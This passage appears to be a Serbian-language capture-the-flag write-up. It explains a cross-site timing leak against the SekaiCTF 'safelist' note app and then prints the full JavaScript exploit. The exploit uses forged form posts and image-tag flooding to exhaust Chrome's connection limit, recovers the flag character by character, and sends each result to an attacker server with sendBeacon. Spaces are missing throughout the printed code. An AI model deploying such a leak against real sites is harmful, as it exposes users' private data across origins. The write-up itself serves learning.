Hajde da vidimo kako ova eksploatacija funkcioniše:
Napadač će ubaciti belešku sa što više <img tagova koji učitavaju/js/purify.js (više od 6 da blokira izvor).
Zatim, napadač će uklonitibelešku sa indeksom 1.
Zatim, napadač će [naterati bota da pristupi stranici sa preostalom beleškom] i poslaće zahtev na victim.com/js/purify.js koji će meriti.
Ako je vreme veće, injekcija je bila u belešci koja je ostala, ako je vreme manje, zastavica je bila tamo.
Iskreno, čitajući skriptu, propustio sam deo gde napadač natera bota da učita stranicu kako bi aktivirao img tagove, ne vidim ništa slično u kodu.
<html><head><script>constSITE_URL='https://safelist.ctf.sekai.team/';constPING_URL='https://myserver';functiontimeScript(){returnnewPromise(resolve => {var x =document.createElement('script');x.src ='https://safelist.ctf.sekai.team/js/purify.js?'+Math.random();var start =Date.now();x.onerror= () => {console.log(`Time: ${Date.now() - start}`); //Time requestresolve(Date.now() - start);x.remove();}document.body.appendChild(x);});}add_note=async (note) => {let x =document.createElement('form')x.action =SITE_URL+"create"x.method ="POST"x.target ="xxx"let i =document.createElement("input");i.type ="text"i.name ="text"i.value = notex.appendChild(i)document.body.appendChild(x)x.submit()}remove_note=async (note_id) => {let x =document.createElement('form')x.action =SITE_URL+"remove"x.method ="POST"x.target ="_blank"let i =document.createElement("input");i.type ="text"i.name ="index"i.value = note_idx.appendChild(i)document.body.appendChild(x)x.submit()}constsleep= ms =>newPromise(resolve =>setTimeout(resolve, ms));// }zyxwvutsrqponmlkjihgfedcba_constalphabet='zyxwvutsrqponmlkjihgfedcba_'var prefix ='SEKAI{xsleakyay';constTIMEOUT=500;asyncfunctioncheckLetter(letter){// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
constpayload=`${prefix}${letter}`+Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');awaitadd_note(payload);awaitsleep(TIMEOUT);awaittimeScript();awaitremove_note(1); //Now, only the note with the flag or with the injection existshawaitsleep(TIMEOUT);consttime=awaittimeScript(); //Find out how much a request to the same origin takesnavigator.sendBeacon(PING_URL, [letter,time]);if(time>100){return1;}return0;}window.onload=async () => {navigator.sendBeacon(PING_URL,'start');// doesnt work because we are removing flag after success.// while(1){for(constletterof alphabet){if(awaitcheckLetter(letter)){prefix += letter;navigator.sendBeacon(PING_URL, prefix);break;}}// }};</script></head><body></body></html>